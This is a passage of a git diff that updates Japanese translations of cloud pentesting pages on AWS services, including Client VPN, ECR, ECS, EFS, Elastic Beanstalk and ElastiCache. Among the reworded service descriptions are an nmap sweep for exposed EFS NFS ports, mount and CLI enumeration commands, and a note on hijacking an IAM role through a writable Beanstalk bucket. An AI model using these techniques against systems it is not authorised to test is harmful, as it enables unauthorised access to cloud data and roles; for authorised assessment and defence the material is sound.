**クライアントCIDR範囲**:クライアントIPアドレスを割り当てるためのIPアドレス範囲。クライアントVPNエンドポイントへの各接続には、クライアントCIDR範囲から一意のIPアドレスが割り当てられます。クライアントCIDR範囲を選択します。例えば、`10.2.0.0/16`。 -- **クライアントVPNポート**:AWSクライアントVPNは、TCPおよびUDPの両方でポート443と1194をサポートしています。デフォルトはポート443です。 -- **クライアントVPNネットワークインターフェース**:サブネットをクライアントVPNエンドポイントに関連付けると、そのサブネットにクライアントVPNネットワークインターフェースが作成されます。**クライアントVPNエンドポイントからVPCに送信されるトラフィックは、クライアントVPNネットワークインターフェースを介して送信されます**。その後、ソースネットワークアドレス変換(SNAT)が適用され、クライアントCIDR範囲からのソースIPアドレスがクライアントVPNネットワークインターフェースIPアドレスに変換されます。 -- **接続ログ**:クライアントVPNエンドポイントの接続イベントをログに記録するために接続ログを有効にできます。この情報を使用してフォレンジックを実行したり、クライアントVPNエンドポイントの使用状況を分析したり、接続の問題をデバッグしたりできます。 -- **セルフサービスポータル**:クライアントVPNエンドポイントのセルフサービスポータルを有効にできます。クライアントは、自分の資格情報を使用してウェブベースのポータルにログインし、クライアントVPNエンドポイント構成ファイルの最新バージョンをダウンロードしたり、AWSが提供するクライアントの最新バージョンをダウンロードしたりできます。 +- **クライアント VPN エンドポイント**:クライアント VPN セッションを有効にし、管理するために作成および構成するリソースです。すべてのクライアント VPN セッションが終了するリソースです。 +- **ターゲットネットワーク**:ターゲットネットワークは、クライアント VPN エンドポイントに関連付けるネットワークです。**VPC のサブネットはターゲットネットワークです**。サブネットをクライアント VPN エンドポイントに関連付けることで、VPN セッションを確立できます。高可用性のために、複数のサブネットをクライアント VPN エンドポイントに関連付けることができます。すべてのサブネットは同じ VPC からでなければなりません。各サブネットは異なるアベイラビリティゾーンに属する必要があります。 +- **ルート**:各クライアント VPN エンドポイントには、利用可能な宛先ネットワークルートを説明するルートテーブルがあります。ルートテーブル内の各ルートは、特定のリソースまたはネットワークへのトラフィックのパスを指定します。 +- **認可ルール**:認可ルールは、**ネットワークにアクセスできるユーザーを制限します**。指定されたネットワークに対して、アクセスを許可される Active Directory またはアイデンティティプロバイダー (IdP) グループを構成します。このグループに属するユーザーのみが指定されたネットワークにアクセスできます。**デフォルトでは、認可ルールはありません**。リソースやネットワークにアクセスできるようにするには、認可ルールを構成する必要があります。 +- **クライアント**:クライアント VPN エンドポイントに接続して VPN セッションを確立するエンドユーザー。エンドユーザーは OpenVPN クライアントをダウンロードし、作成したクライアント VPN 構成ファイルを使用して VPN セッションを確立する必要があります。 +- **クライアント CIDR 範囲**:クライアント IP アドレスを割り当てるための IP アドレス範囲。クライアント VPN エンドポイントへの各接続には、クライアント CIDR 範囲から一意の IP アドレスが割り当てられます。クライアント CIDR 範囲を選択します。例えば、`10.2.0.0/16` など。 +- **クライアント VPN ポート**:AWS クライアント VPN は、TCP および UDP の両方でポート 443 および 1194 をサポートします。デフォルトはポート 443 です。 +- **クライアント VPN ネットワークインターフェース**:サブネットをクライアント VPN エンドポイントに関連付けると、そのサブネットにクライアント VPN ネットワークインターフェースが作成されます。**クライアント VPN エンドポイントから VPC に送信されるトラフィックは、クライアント VPN ネットワークインターフェースを介して送信されます**。その後、ソースネットワークアドレス変換 (SNAT) が適用され、クライアント CIDR 範囲からのソース IP アドレスがクライアント VPN ネットワークインターフェースの IP アドレスに変換されます。 +- **接続ログ**:クライアント VPN エンドポイントの接続イベントをログに記録するために接続ログを有効にできます。この情報を使用してフォレンジックを実行したり、クライアント VPN エンドポイントの使用状況を分析したり、接続の問題をデバッグしたりできます。 +- **セルフサービスポータル**:クライアント VPN エンドポイントのセルフサービスポータルを有効にできます。クライアントは、自分の資格情報を使用してウェブベースのポータルにログインし、クライアント VPN エンドポイント構成ファイルの最新バージョンをダウンロードしたり、AWS 提供のクライアントの最新バージョンをダウンロードしたりできます。 -#### Limitations +#### 制限事項 -- **クライアントCIDR範囲は、関連付けられたサブネットが存在するVPCのローカルCIDR**と重複してはならず、クライアントVPNエンドポイントのルートテーブルに手動で追加されたルートとも重複してはなりません。 -- クライアントCIDR範囲は、**少なくとも/22**のブロックサイズを持ち、**/12を超えてはなりません**。 -- クライアントCIDR範囲内の**アドレスの一部**は、クライアントVPNエンドポイントの可用性モデルを**サポートするために使用され**、クライアントに割り当てることはできません。したがって、クライアントVPNエンドポイントでサポートする最大同時接続数を有効にするために必要なIPアドレスの2倍の数を含むCIDRブロックを**割り当てることをお勧めします**。 -- **クライアントCIDR範囲は、クライアントVPNエンドポイントを作成した後に変更することはできません**。 -- **クライアントVPNエンドポイントに関連付けられたサブネットは** **同じVPC内でなければなりません**。 -- **同じアベイラビリティゾーンから複数のサブネットをクライアントVPNエンドポイントに関連付けることはできません**。 -- クライアントVPNエンドポイントは、**専用テナンシーVPC内のサブネットの関連付けをサポートしていません**。 -- クライアントVPNは**IPv4**トラフィックのみをサポートします。 -- クライアントVPNは**連邦情報処理基準(FIPS)**に**準拠していません**。 -- マルチファクター認証(MFA)がActive Directoryで無効になっている場合、ユーザーパスワードは次の形式であることはできません。 +- **クライアント CIDR 範囲は、関連付けられたサブネットが存在する VPC のローカル CIDR と重複してはなりません**。また、クライアント VPN エンドポイントのルートテーブルに手動で追加されたルートとも重複してはなりません。 +- クライアント CIDR 範囲は、**少なくとも /22 のブロックサイズ**を持ち、**/12 より大きくはなりません**。 +- クライアント CIDR 範囲内の**一部のアドレス**は、クライアント VPN エンドポイントの可用性モデルをサポートするために使用され、クライアントに割り当てることはできません。したがって、**サポートする最大同時接続数の 2 倍の IP アドレスを含む CIDR ブロックを割り当てることをお勧めします**。 +- **クライアント CIDR 範囲は、クライアント VPN エンドポイントを作成した後に変更することはできません**。 +- **クライアント VPN エンドポイントに関連付けられたサブネットは、**同じ VPC に存在する必要があります**。 +- **同じアベイラビリティゾーンから複数のサブネットをクライアント VPN エンドポイントに関連付けることはできません**。 +- クライアント VPN エンドポイントは、**専用テナンシー VPC でのサブネット関連付けをサポートしていません**。 +- クライアント VPN は **IPv4** トラフィックのみをサポートします。 +- クライアント VPN は **FIPS** **準拠** ではありません。 +- マルチファクター認証 (MFA) が Active Directory に対して無効になっている場合、ユーザーパスワードは次の形式であることはできません。 ``` SCRV1:: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md index a8c0cd98b..37b099ec3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md @@ -8,42 +8,42 @@ #### 基本情報 -Amazon **Elastic Container Registry** (Amazon ECR) は **管理されたコンテナイメージレジストリサービス** です。これは、顧客がよく知られたインターフェースを使用してコンテナイメージと対話できる環境を提供するように設計されています。具体的には、Docker CLI または任意の好みのクライアントの使用がサポートされており、コンテナイメージのプッシュ、プル、および管理などの活動を可能にします。 +Amazon **Elastic Container Registry** (Amazon ECR) は **管理されたコンテナイメージレジストリサービス** です。これは、顧客がよく知られたインターフェースを使用してコンテナイメージと対話できる環境を提供するように設計されています。具体的には、Docker CLI または任意の好みのクライアントの使用がサポートされており、イメージのプッシュ、プル、および管理などの活動が可能です。 -ECR は **レジストリ** と **リポジトリ** の 2 種類のオブジェクトで構成されています。 +ECRは2種類のオブジェクトで構成されています: **レジストリ** と **リポジトリ**。 **レジストリ** -すべての AWS アカウントには 2 つのレジストリがあります: **プライベート** と **パブリック**。 +すべてのAWSアカウントには2つのレジストリがあります: **プライベート** と **パブリック**。 1. **プライベートレジストリ**: -- **デフォルトでプライベート**: Amazon ECR プライベートレジストリに保存されたコンテナイメージは、**あなたの AWS アカウント内の認可されたユーザー** または許可を与えられたユーザーのみに **アクセス可能** です。 -- **プライベートリポジトリ** の URI は `.dkr.ecr..amazonaws.com/` の形式に従います。 -- **アクセス制御**: **IAM ポリシー** を使用してプライベートコンテナイメージへの **アクセスを制御** でき、ユーザーやロールに基づいて細かい権限を設定できます。 -- **AWS サービスとの統合**: Amazon ECR プライベートレジストリは、EKS、ECS などの他の AWS サービスと簡単に **統合** できます。 +- **デフォルトでプライベート**: Amazon ECRプライベートレジストリに保存されたコンテナイメージは、あなたのAWSアカウント内の**認可されたユーザー**のみが**アクセス可能**です。 +- **プライベートリポジトリ**のURIは、`.dkr.ecr..amazonaws.com/` の形式に従います。 +- **アクセス制御**: **IAMポリシー**を使用してプライベートコンテナイメージへの**アクセスを制御**でき、ユーザーやロールに基づいて細かい権限を設定できます。 +- **AWSサービスとの統合**: Amazon ECRプライベートレジストリは、EKS、ECSなどの他のAWSサービスと簡単に**統合**できます。 - **他のプライベートレジストリオプション**: -- タグ不変性列はそのステータスを示し、タグ不変性が有効になっている場合、**既存のタグ** を持つイメージの **プッシュ** を上書きすることを **防ぎます**。 -- **暗号化タイプ** 列はリポジトリの暗号化プロパティを示し、AES-256 などのデフォルトの暗号化タイプや **KMS** 有効な暗号化を表示します。 -- **プルスルーキャッシュ** 列はそのステータスを示し、プルスルーキャッシュのステータスがアクティブであれば、**外部パブリックリポジトリのリポジトリをあなたのプライベートリポジトリにキャッシュします**。 -- 特定の **IAM ポリシー** を設定して異なる **権限** を付与できます。 -- **スキャン設定** は、リポジトリ内に保存されたイメージの脆弱性をスキャンすることを可能にします。 +- タグ不変性の列はそのステータスを示し、タグ不変性が有効になっている場合、**既存のタグ**を持つイメージの**プッシュ**が上書きされるのを**防ぎます**。 +- **暗号化タイプ**の列はリポジトリの暗号化プロパティを示し、AES-256などのデフォルトの暗号化タイプや**KMS**が有効な暗号化を表示します。 +- **プルスルーキャッシュ**の列はそのステータスを示し、プルスルーキャッシュのステータスがアクティブであれば、**外部パブリックリポジトリのリポジトリをプライベートリポジトリにキャッシュ**します。 +- 特定の**IAMポリシー**を設定して異なる**権限**を付与できます。 +- **スキャン設定**により、リポジトリ内に保存されたイメージの脆弱性をスキャンできます。 2. **パブリックレジストリ**: -- **パブリックアクセス**: ECR パブリックレジストリに保存されたコンテナイメージは、**認証なしでインターネット上の誰でもアクセス可能** です。 -- **パブリックリポジトリ** の URI は `public.ecr.aws//` のようになります。 `` 部分は管理者によって覚えやすい別の文字列に変更できます。 +- **パブリックアクセス**: ECRパブリックレジストリに保存されたコンテナイメージは、**認証なしでインターネット上の誰でもアクセス可能**です。 +- **パブリックリポジトリ**のURIは `public.ecr.aws//` のようになります。`` 部分は管理者によって覚えやすい別の文字列に変更できます。 **リポジトリ** これらは **プライベートレジストリ** または **パブリック** のイメージです。 > [!NOTE] -> リポジトリにイメージをアップロードするには、**ECR リポジトリはイメージと同じ名前である必要があります**。 +> リポジトリにイメージをアップロードするには、**ECRリポジトリがイメージと同じ名前である必要があります**。 #### レジストリ & リポジトリポリシー -**レジストリとリポジトリ** には、他のプリンシパル/アカウントに権限を付与するために使用できる **ポリシー** もあります。たとえば、次のリポジトリポリシーの画像では、組織全体の任意のユーザーがイメージにアクセスできることがわかります。 +**レジストリとリポジトリ**には、他のプリンシパル/アカウントに権限を付与するために使用できる**ポリシー**もあります。たとえば、次のリポジトリポリシーの画像では、組織全体の任意のユーザーがイメージにアクセスできることがわかります。
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md index 156caa1a4..ae1b3af1a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md @@ -6,18 +6,18 @@ ### 基本情報 -Amazon **Elastic Container Services**(ECS)は、**クラウドでコンテナ化されたアプリケーションをホストするためのプラットフォーム**を提供します。ECSには、**EC2**インスタンスタイプと**サーバーレス**オプションである**Fargate**の2つの**デプロイメント**方法があります。このサービスは、**クラウドでのコンテナの実行を非常に簡単かつストレスフリーにします**。 +Amazon **Elastic Container Services**(ECS)は、**クラウドでコンテナ化されたアプリケーションをホストするためのプラットフォーム**を提供します。ECSには、**EC2**インスタンスタイプと**サーバーレス**オプションである**Fargate**の2つの**デプロイメント**方法があります。このサービスは、**クラウドでコンテナを実行するのを非常に簡単かつストレスフリーにします**。 ECSは、以下の3つのビルディングブロックを使用して動作します:**クラスター**、**サービス**、および**タスク定義**。 - **クラスター**は、**クラウドで実行されているコンテナのグループ**です。前述のように、コンテナにはEC2とFargateの2つの起動タイプがあります。AWSは、**EC2**起動タイプを「顧客が「自分の」コンテナ化されたアプリケーションを、顧客が**管理する**Amazon EC2インスタンスのクラスターで実行できるようにする」と定義しています。**Fargate**は似ており、「**バックエンドインフラストラクチャをプロビジョニングおよび管理する必要なく**、コンテナ化されたアプリケーションを実行できる」と定義されています。 - **サービス**はクラスター内に作成され、**タスクを実行する**責任があります。サービス定義内では、**実行するタスクの数、自動スケーリング、キャパシティプロバイダー(Fargate/EC2/External)、** **ネットワーキング**情報(VPC、サブネット、セキュリティグループなど)を定義します。 - **アプリケーションの種類は2つ**あります: -- **サービス**:停止および再起動できる長時間実行される計算作業を処理するタスクのグループ。例えば、ウェブアプリケーション。 +- **サービス**:停止および再起動可能な長時間実行される計算作業を処理するタスクのグループ。例えば、ウェブアプリケーション。 - **タスク**:実行されて終了するスタンドアロンのタスク。例えば、バッチジョブ。 - サービスアプリケーションの中には、**2種類のサービススケジューラー**があります: -- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html):レプリカスケジューリング戦略は、クラスター全体で**希望する数**のタスクを配置および**維持**します。何らかの理由でタスクがシャットダウンした場合、同じまたは異なるノードで新しいタスクが起動されます。 -- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html):必要な要件を満たす各アクティブコンテナインスタンスに正確に1つのタスクをデプロイします。希望するタスクの数、タスク配置戦略、またはサービス自動スケーリングポリシーを指定する必要はありません。 +- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html):レプリカスケジューリング戦略は、クラスター全体で**希望する数**のタスクを配置および**維持**します。何らかの理由でタスクがシャットダウンした場合、新しいタスクが同じまたは異なるノードで起動されます。 +- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html):必要な要件を持つ各アクティブコンテナインスタンスに正確に1つのタスクをデプロイします。希望するタスクの数、タスク配置戦略、またはサービス自動スケーリングポリシーを指定する必要はありません。 - **タスク定義**は、**実行されるコンテナを定義する**責任があります。また、**ポートマッピング**、**環境変数**、Dockerの**エントリポイント**など、コンテナに設定されるさまざまなパラメータも含まれます。 - **機密情報のために環境変数を確認してください**! @@ -25,7 +25,7 @@ ECSは、以下の3つのビルディングブロックを使用して動作し タスク定義は、**ECSで実行される実際のコンテナを構成する**責任があります。タスク定義はコンテナの実行方法を定義するため、多くの情報が含まれています。 -PacuはECSを列挙できます(list-clusters、list-container-instances、list-services、list-task-definitions)、タスク定義をダンプすることもできます。 +PacuはECSを列挙できます(list-clusters、list-container-instances、list-services、list-task-definitions)、またタスク定義をダンプすることもできます。 ### 列挙 ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index 0d1286ad9..9cfa0b2bb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -12,9 +12,9 @@ Amazon Elastic File System (EFS) は、AWS によって **完全に管理され ### ネットワークアクセス -EFS は VPC 内に作成され、**デフォルトではすべての VPC サブネットワークでアクセス可能**です。ただし、EFS にはセキュリティグループがあります。EFS をマウントするために **EC2**(または他の AWS サービス)にアクセスを許可するには、EFS セキュリティグループで EC2 セキュリティグループからのインバウンド NFS**(ポート 2049)**ルールを **許可する必要があります**。 +EFS は VPC 内に作成され、**デフォルトではすべての VPC サブネットワークでアクセス可能**です。ただし、EFS にはセキュリティグループがあります。EFS をマウントするために **EC2**(または他の AWS サービス)にアクセスを許可するには、EFS セキュリティグループに EC2 セキュリティグループからのインバウンド NFS**(ポート 2049)**ルールを **許可する必要があります**。 -これがないと、**NFS サービスに連絡できません**。 +これがないと、**NFS サービスに接続できません**。 これを行う方法の詳細については、次を確認してください: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount) @@ -39,7 +39,7 @@ aws efs describe-replication-configurations sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure ``` > [!CAUTION] -> EFS マウントポイントが同じ VPC 内にあるが、異なるサブネットにある可能性があります。すべての **EFS ポイントを見つけるためには `/16` ネットマスクをスキャンする方が良いでしょう**。 +> EFS マウントポイントが同じ VPC 内にあるが異なるサブネットにある可能性があります。すべての **EFS ポイントを見つけるためには `/16` ネットマスクをスキャンする方が良いでしょう**。 ### Mount EFS ```bash @@ -57,8 +57,8 @@ sudo mount -t efs :/ /efs/ ``` ### IAMアクセス -**デフォルト**では、**EFSへのネットワークアクセスを持つ誰でも**、**ルートユーザーとしてマウントし、読み書きすることができます**。ただし、ファイルシステムポリシーが設定されている場合、**特定の権限を持つプリンシパルのみがアクセスできる**ことがあります。\ -例えば、このファイルシステムポリシーは、**IAM権限を持っていない場合、**ファイルシステムを**マウントすることさえ許可しません**: +**デフォルト**では、**EFSへのネットワークアクセスを持つ誰でも**マウントし、**ルートユーザーとして読み書きすることができます**。ただし、ファイルシステムポリシーが設定されている場合、**特定の権限を持つプリンシパルのみがアクセスできる**ことがあります。\ +例えば、このファイルシステムポリシーは、**IAM権限を持っていない場合**、ファイルシステムを**マウントさせない**ことがあります: ```json { "Version": "2012-10-17", @@ -81,7 +81,7 @@ sudo mount -t efs :/ /efs/ ] } ``` -また、これは**匿名アクセスを防ぎます**: +これにより**匿名アクセスが防止されます**:
@@ -94,9 +94,9 @@ sudo mount -t efs -o tls,iam :/ /efs/ ``` ### アクセスポイント -**アクセスポイント**は、**EFSファイルシステム**への**アプリケーション**特有のエントリーポイントであり、共有データセットへのアプリケーションアクセスを管理しやすくします。 +**アクセスポイント**は、**EFSファイルシステム**への**アプリケーション**特有のエントリーポイントであり、アプリケーションが共有データセットにアクセスするのを容易にします。 -アクセスポイントを作成すると、アクセスポイントを通じて作成されるファイルやディレクトリの**所有者とPOSIXパーミッション**を**指定**できます。また、既存のディレクトリを指定するか、希望のパーミッションで新しいディレクトリを作成することで、アクセスポイントの**カスタムルートディレクトリ**を**定義**することもできます。これにより、**アプリケーションまたはユーザーごとにEFSファイルシステムへのアクセスを制御**でき、共有ファイルデータの管理とセキュリティが容易になります。 +アクセスポイントを作成すると、アクセスポイントを通じて作成されるファイルやディレクトリの所有者とPOSIX権限を**指定**できます。また、既存のディレクトリを指定するか、希望する権限で新しいディレクトリを作成することで、アクセスポイントの**カスタムルートディレクトリ**を**定義**することもできます。これにより、アプリケーションまたはユーザーごとにEFSファイルシステムへのアクセスを**制御**でき、共有ファイルデータの管理とセキュリティが容易になります。 **アクセスポイントからファイルシステムをマウントするには、次のようにします:** ```bash @@ -109,7 +109,7 @@ sudo mount -t efs -o tls,[iam],accesspoint= \ アクセス・ポイントは以下の目的で使用できます: -- **権限管理の簡素化**:各アクセス・ポイントに対してPOSIXユーザーとグループを定義することで、基盤となるファイルシステムの権限を変更することなく、異なるアプリケーションやユーザーのアクセス権限を簡単に管理できます。 +- **権限管理の簡素化**:各アクセス・ポイントにPOSIXユーザーとグループを定義することで、基盤となるファイルシステムの権限を変更することなく、異なるアプリケーションやユーザーのアクセス権限を簡単に管理できます。 - **ルートディレクトリの強制**:アクセス・ポイントはEFSファイルシステム内の特定のディレクトリへのアクセスを制限でき、各アプリケーションやユーザーが指定されたフォルダー内で操作することを保証します。これにより、偶発的なデータの露出や変更を防ぐことができます。 - **ファイルシステムアクセスの簡素化**:アクセス・ポイントはAWS Lambda関数やAWS Fargateタスクに関連付けることができ、サーバーレスおよびコンテナ化されたアプリケーションのためのファイルシステムアクセスを簡素化します。 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md index 71cd1da8d..853d47307 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md @@ -9,8 +9,8 @@ Amazon Elastic Kubernetes Service (Amazon EKS) は、ユーザーが独自の Ku Amazon EKS の主な側面は次のとおりです: 1. **管理された Kubernetes コントロールプレーン**: Amazon EKS は、パッチ適用、ノードプロビジョニング、更新などの重要なタスクを自動化します。 -2. **AWS サービスとの統合**: コンピューティング、ストレージ、データベース、セキュリティのための AWS サービスとのシームレスな統合を提供します。 -3. **スケーラビリティとセキュリティ**: Amazon EKS は、高可用性とセキュリティを考慮して設計されており、自動スケーリングや設計による隔離などの機能を提供します。 +2. **AWS サービスとの統合**: コンピュート、ストレージ、データベース、セキュリティのための AWS サービスとのシームレスな統合を提供します。 +3. **スケーラビリティとセキュリティ**: Amazon EKS は高可用性とセキュリティを考慮して設計されており、自動スケーリングや設計による隔離などの機能を提供します。 4. **Kubernetes との互換性**: Amazon EKS 上で実行されるアプリケーションは、標準の Kubernetes 環境で実行されるアプリケーションと完全に互換性があります。 #### Enumeration diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index ade5fadc8..5fa546a93 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -4,11 +4,11 @@ ## Elastic Beanstalk -Amazon Elastic Beanstalkは、**ウェブアプリケーションとサービスのデプロイ、管理、スケーリング**のための簡素化されたプラットフォームを提供します。Java、.NET、PHP、Node.js、Python、Ruby、Goなどのさまざまなプログラミング言語とフレームワーク、さらにDockerコンテナをサポートしています。このサービスは、Apache、Nginx、Passenger、IISなどの広く使用されているサーバーと互換性があります。 +Amazon Elastic Beanstalkは、**ウェブアプリケーションとサービスのデプロイ、管理、スケーリング**のための簡素化されたプラットフォームを提供します。Java、.NET、PHP、Node.js、Python、Ruby、Goなどのさまざまなプログラミング言語とフレームワーク、Dockerコンテナをサポートしています。このサービスは、Apache、Nginx、Passenger、IISなどの広く使用されているサーバーと互換性があります。 -Elastic Beanstalkは、**AWSクラウドにアプリケーションをデプロイするためのシンプルで柔軟な方法**を提供し、基盤となるインフラストラクチャについて心配する必要はありません。**自動的に**容量の**プロビジョニング**、負荷**バランシング**、**スケーリング**、およびアプリケーションの健康**モニタリング**の詳細を処理し、コードの作成とデプロイに集中できるようにします。 +Elastic Beanstalkは、**AWSクラウドにアプリケーションをデプロイするためのシンプルで柔軟な方法**を提供し、基盤となるインフラストラクチャについて心配する必要がありません。**自動的に**キャパシティの**プロビジョニング**、負荷**バランシング**、**スケーリング**、アプリケーションの健康**モニタリング**の詳細を処理し、コードの作成とデプロイに集中できるようにします。 -Elastic Beanstalkによって作成されたインフラストラクチャは、**EC2**の**オートスケーリング**グループによって管理されます(負荷バランサー付き)。つまり、最終的には、**ホストを侵害**した場合、EC2について知っておくべきです: +Elastic Beanstalkによって作成されたインフラストラクチャは、**EC2**の**オートスケーリング**グループによって管理されます(負荷バランサー付き)。つまり、最終的には、**ホストを侵害した場合**、EC2について知っておくべきです: {{#ref}} aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -38,17 +38,17 @@ AWS Elastic Beanstalkでは、「アプリケーション」と「環境」の ### 2種類の環境 -1. **ウェブサーバー環境**:これは、**ウェブアプリケーションとAPIをホストおよび提供するために設計されています**。これらのアプリケーションは通常、受信HTTP/HTTPSリクエストを処理します。ウェブサーバー環境は、受信トラフィックを処理し、容量を管理し、アプリケーションの高可用性を確保するために、**EC2インスタンス、負荷バランサー、オートスケーリング**グループなどのリソースをプロビジョニングします。 -2. **ワーカー環境**:これは、**バックグラウンドタスク**を処理するために設計されています。これらは通常、時間がかかるかリソース集約的な操作であり、クライアントへの即時応答を必要としません。ワーカー環境は、**EC2インスタンスとオートスケーリンググループ**のようなリソースをプロビジョニングしますが、HTTP/HTTPSリクエストを直接処理しないため、**負荷バランサーはありません**。代わりに、**Amazon Simple Queue Service (SQS) キュー**からタスクを消費し、ワーカー環境と処理するタスクの間のバッファとして機能します。 +1. **ウェブサーバー環境**:**ウェブアプリケーションとAPIをホストおよび提供するために設計されています**。これらのアプリケーションは通常、受信HTTP/HTTPSリクエストを処理します。ウェブサーバー環境は、受信トラフィックを処理し、キャパシティを管理し、アプリケーションの高可用性を確保するために、**EC2インスタンス、負荷バランサー、オートスケーリング**グループなどのリソースをプロビジョニングします。 +2. **ワーカー環境**:**バックグラウンドタスクを処理するために設計されています**。これらは通常、時間がかかるかリソース集約的な操作であり、クライアントへの即時応答を必要としません。ワーカー環境は、**EC2インスタンスやオートスケーリンググループ**などのリソースをプロビジョニングしますが、HTTP/HTTPSリクエストを直接処理しないため、**負荷バランサーはありません**。代わりに、**Amazon Simple Queue Service (SQS) キュー**からタスクを消費し、ワーカー環境と処理するタスクの間のバッファとして機能します。 ### セキュリティ -Beanstalkでアプリを作成する際には、選択する非常に重要なセキュリティオプションが3つあります: +Beanstalkでアプリを作成する際には、選択すべき3つの非常に重要なセキュリティオプションがあります: - **EC2キーペア**:これは、アプリを実行しているEC2インスタンスにアクセスできる**SSHキー**です。 - **IAMインスタンスプロファイル**:これは、インスタンスが持つ**インスタンスプロファイル**です(**IAM権限**)。 - 自動生成されたロールは**`aws-elasticbeanstalk-ec2-role`**と呼ばれ、すべてのECS、すべてのSQS、DynamoDB elasticbeanstalkおよびelasticbeanstalk S3に対して興味深いアクセス権を持っています。AWS管理ポリシーを使用しています:[AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier)、[AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker)、[AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier)。 -- **サービスロール**:これは、**AWSサービスが**必要なすべてのアクションを実行するために使用する**ロール**です。私の知る限り、通常のAWSユーザーはそのロールにアクセスできません。 +- **サービスロール**:これは、**AWSサービスが必要なすべてのアクションを実行するために使用するロール**です。私の知る限り、通常のAWSユーザーはそのロールにアクセスできません。 - AWSによって生成されたこのロールは**`aws-elasticbeanstalk-service-role`**と呼ばれ、AWS管理ポリシー[AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth)および[AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions)を使用しています。 デフォルトでは、**メタデータバージョン1は無効**です: @@ -57,14 +57,14 @@ Beanstalkでアプリを作成する際には、選択する非常に重要な ### エクスポージャー -Beanstalkデータは、次の名前の**S3バケット**に保存されます:**`elasticbeanstalk--`**(AWSコンソールで作成された場合)。このバケット内には、アップロードされた**アプリケーションのソースコード**が見つかります。 +Beanstalkデータは、次の名前の**S3バケット**に保存されます:**`elasticbeanstalk--`**(AWSコンソールで作成された場合)。このバケット内には、アップロードされた**アプリケーションのソースコード**が含まれています。 作成されたウェブページの**URL**は**`http://-env...elasticbeanstalk.com/`**です。 > [!WARNING] -> バケットに**読み取りアクセス**がある場合、**ソースコードを読み取る**ことができ、さらには**機密資格情報**を見つけることもできます。 +> バケットに**読み取りアクセス**がある場合、**ソースコードを読み取る**ことができ、そこに**機密資格情報**を見つけることもできます。 > -> バケットに**書き込みアクセス**がある場合、**ソースコードを変更**して、次回実行される際にアプリケーションが使用している**IAMロールを侵害**することができます。 +> バケットに**書き込みアクセス**がある場合、次回実行される際に**アプリケーションが使用しているIAMロールを侵害するために**ソースコードを**変更する**ことができます。 ### 列挙 ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md index ea8bc7316..762024bec 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md @@ -4,7 +4,7 @@ ## ElastiCache -AWS ElastiCacheは、アプリケーション向けに高性能、低遅延、スケーラブルなソリューションを提供する完全に**管理されたインメモリデータストアおよびキャッシュサービス**です。これは、2つの人気のあるオープンソースインメモリエンジン、**RedisとMemcached**をサポートしています。ElastiCacheは、これらのエンジンの**セットアップ**、**管理**、および**メンテナンス**を**簡素化**し、開発者がプロビジョニング、パッチ適用、監視、**バックアップ**などの時間のかかるタスクをオフロードできるようにします。 +AWS ElastiCacheは、アプリケーション向けに高性能、低遅延、スケーラブルなソリューションを提供する完全に**管理されたインメモリデータストアおよびキャッシュサービス**です。**RedisとMemcached**という2つの人気のあるオープンソースのインメモリエンジンをサポートしています。ElastiCacheは、これらのエンジンの**セットアップ**、**管理**、および**メンテナンス**を**簡素化**し、開発者がプロビジョニング、パッチ適用、監視、**バックアップ**などの時間のかかるタスクをオフロードできるようにします。 ### Enumeration ```bash @@ -38,6 +38,6 @@ aws elasticache describe-users # List ElastiCache events aws elasticache describe-events ``` -### プライベートエスカレーション (TODO) +### プリベスクセス (TODO) {{#include ../../../banners/hacktricks-training.md}} diff --git 